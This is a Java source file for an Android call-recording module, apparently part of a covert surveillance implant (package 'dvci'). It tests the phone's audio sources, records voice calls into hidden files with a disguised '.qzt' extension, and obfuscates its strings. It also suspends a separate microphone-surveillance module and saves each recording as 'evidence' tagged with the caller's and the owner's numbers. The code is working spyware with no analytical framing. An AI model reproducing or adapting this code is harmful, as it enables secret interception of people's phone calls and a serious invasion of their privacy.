package com.android.dvci.module.call;
import java.io.File;
import java.util.HashMap;
import java.util.concurrent.TimeUnit;
import android.media.MediaRecorder;
import android.os.Build;
import com.android.dvci.Call;
import com.android.dvci.Device;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.evidence.Markup;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleCall;
import com.android.dvci.module.ModuleMic;
import com.android.dvci.util.Check;
import com.android.mm.M;
public class RecordCall {
private static final String TAG = "RecordCall";
static RecordCall singleton;
protected static final int CALL_PHONE = 0x0145;
private String currentRecordFile;
// private Date fromTime;
// private String number, model;
private int strategy = 0;
public synchronized static RecordCall self() {
if (singleton == null) {
singleton = new RecordCall();
}
return singleton;
}
private MediaRecorder recorder = null;
private boolean testStrategy(int audioSource, int outputFormat, int audioEncoder) {
// Create dummy file
Long ts = Long.valueOf(System.currentTimeMillis());
String tmp = ts.toString();
String path = Path.hidden() + tmp + ".qzt"; // file .3gp
boolean success = false;
if (Cfg.DEBUG) {
Check.log(TAG + " (testStrategy): strategy: " + audioSource + " - dummy path: " + path); //$NON-NLS-1$
}
startRecord(audioSource, outputFormat, audioEncoder, path);
// Utils.sleep(250);
stopRecord();
File dummy = new File(path);
if (dummy.length() > 0) {
success = true;
}
dummy.delete();
dummy = null;
return success;
}
private int getStrategyNotYetWorking(ModuleCall module) {
Markup markupCallStrategy = new Markup(module);
HashMap<Integer, Boolean> strategyMap = null;
// the markup exists, try to read it
try {
if (markupCallStrategy.isMarkup()) {
strategyMap = (HashMap<Integer, Boolean>) markupCallStrategy.readMarkupSerializable();
}
// First time we run, let's try a strategy
if (strategyMap == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): no markup found, testing strategies..."); //$NON-NLS-1$
}
// Start with strategy 1
int outputFormat = MediaRecorder.OutputFormat.RAW_AMR;
int audioEncoder = MediaRecorder.AudioEncoder.AMR_NB;
boolean res;
strategyMap = new HashMap<Integer, Boolean>();
res = testStrategy(MediaRecorder.AudioSource.VOICE_CALL, outputFormat, audioEncoder);
// Strategy 0x04
strategyMap.put(MediaRecorder.AudioSource.VOICE_CALL, res);
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): strategy 4: " + res); //$NON-NLS-1$
}
if (res == true) {
markupCallStrategy.writeMarkupSerializable(strategyMap);
return MediaRecorder.AudioSource.VOICE_CALL;
}
// Strategy 0x02
res = testStrategy(MediaRecorder.AudioSource.VOICE_UPLINK, outputFormat, audioEncoder);
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): strategy 2: " + res); //$NON-NLS-1$
}
strategyMap.put(MediaRecorder.AudioSource.VOICE_UPLINK, res);
if (res == true) {
markupCallStrategy.writeMarkupSerializable(strategyMap);
return MediaRecorder.AudioSource.VOICE_UPLINK;
}
// Strategy 0x03
res = testStrategy(MediaRecorder.AudioSource.VOICE_DOWNLINK, outputFormat, audioEncoder);
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): strategy 3: " + res); //$NON-NLS-1$
}
strategyMap.put(MediaRecorder.AudioSource.VOICE_DOWNLINK, res);
if (res == true) {
markupCallStrategy.writeMarkupSerializable(strategyMap);
return MediaRecorder.AudioSource.VOICE_DOWNLINK;
}
// Strategy 0x01
res = testStrategy(MediaRecorder.AudioSource.MIC, outputFormat, audioEncoder);
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): strategy 1: " + res); //$NON-NLS-1$
}
strategyMap.put(MediaRecorder.AudioSource.MIC, res);
if (res == true) {
markupCallStrategy.writeMarkupSerializable(strategyMap);
return MediaRecorder.AudioSource.MIC;
}
markupCallStrategy.writeMarkupSerializable(strategyMap);
if (Cfg.DEBUG) {
Check.log(TAG + " (setStrategy): no suitable strategy found"); //$NON-NLS-1$
}
} else { // Return the winning strategy
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): reading markup"); //$NON-NLS-1$
}
for (Integer i : strategyMap.keySet()) {
boolean testedStrategy = strategyMap.get(i);
if (testedStrategy == true) {
// Return the winning strategy
if (Cfg.DEBUG) {
Check.log(TAG + " (getStrategy): using strategy " + i); //$NON-NLS-1$
}
return i;
}
}
// Ok we don't have a winning strategy
if (Cfg.DEBUG) {
Check.log(TAG + " (setStrategy): no strategy found in markup"); //$NON-NLS-1$
}
return 0;
}
} catch (Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (setStrategy): " + e);//$NON-NLS-1$
}
}
return 0;
}
private boolean startRecord(int audioSource, int outputFormat, int audioEncoder, String path) {
recorder = new MediaRecorder();
recorder.setAudioSource(audioSource);
recorder.setOutputFormat(outputFormat);
// REMOVE
// recorder.setAudioChannels(1);
recorder.setAudioEncoder(audioEncoder);
recorder.setOutputFile(path);
try {
recorder.prepare();
recorder.start();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (startRecord) Error: cannot start recording");
}
recorder = null;
return false;
}
currentRecordFile = path;
return true;
}
private boolean stopRecord() {
if (recorder == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (stopRecord): recorder is already null"); //$NON-NLS-1$
}
return false;
}
recorder.stop();
recorder.release();
recorder = null;
return true;
}
public boolean isSupported(ModuleCall module) {
String model = Build.MODEL.toLowerCase();
boolean supported = false;
if (Cfg.DEBUG) {
Check.log(TAG + " (isSupported): phone model: " + model); //$NON-NLS-1$
}
// TODO: in Messages
if (model.contains(M.e("i9100"))) { // Samsung Galaxy S2
supported = true;
strategy = MediaRecorder.AudioSource.VOICE_UPLINK;
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): Samsung Galaxy S2, supported"); //$NON-NLS-1$
}
} else if (model.contains(M.e("galaxy nexus"))) { // Samsung Galaxy
// Nexus
supported = true;
strategy = MediaRecorder.AudioSource.DEFAULT;
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): Galaxy Nexus, supported only microphone"); //$NON-NLS-1$
}
} else if (model.contains(M.e("gt-i9300"))) { // Galaxy S3
supported = true;
strategy = MediaRecorder.AudioSource.VOICE_UPLINK;
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): Galaxy S3, supported"); //$NON-NLS-1$
}
} else if (model.contains(M.e("xt910"))) { // Motorola xt-910
supported = false;
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): Motorola xt-910, unsupported"); //$NON-NLS-1$
}
} else if (model.contains(M.e("gt-p1000"))) { // Samsung Galaxy Tab 7''
supported = true;
strategy = MediaRecorder.AudioSource.VOICE_UPLINK;
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): Samsung Galaxy Tab 7'', supported"); //$NON-NLS-1$
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): model unsupported by call registration module"); //$NON-NLS-1$
}
}
module.recordFlag = supported;
return supported;
}
public boolean recordCall(final ModuleCall module, final Call call, final boolean incoming) {
if (!call.isOngoing()) {
if (stopRecord()) {
Object future = Status.getStpe().schedule(new Runnable() {
public void run() {
String myNumber = Device.self().getPhoneNumber();
module.saveCallEvidence(call.getNumber(), myNumber, incoming, call.getTimeBegin(), call.getTimeEnd(),
currentRecordFile, true, 1, CALL_PHONE);
}
}, 100, TimeUnit.MILLISECONDS);
// Se un giorno la conf non dovesse includere gia' tutti
// i moduli,
// self() tornerebbe NULL in quanto non instanziato.
ModuleMic mic = ModuleMic.self();
if (mic != null) {
mic.resume();
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): call finished"); //$NON-NLS-1$
}
return true;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): start call recording procedure..."); //$NON-NLS-1$
}
int outputFormat = MediaRecorder.OutputFormat.RAW_AMR;
int audioEncoder = MediaRecorder.AudioEncoder.AMR_NB;
Long ts = Long.valueOf(System.currentTimeMillis());
String tmp = ts.toString();
// Logfile .3gpp in chiaro, temporaneo
String path = Path.hidden() + tmp + M.e(".qzt");
ModuleMic mic = ModuleMic.self();
if (mic != null) {
mic.suspend();
}
if (startRecord(strategy, outputFormat, audioEncoder, path) == true) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): recording started on file: " + path); //$NON-NLS-1$
}
} else {
module.recordFlag = false;
}
mic = ModuleMic.self();
if (mic != null) {
mic.resume();
}
return false;
}
}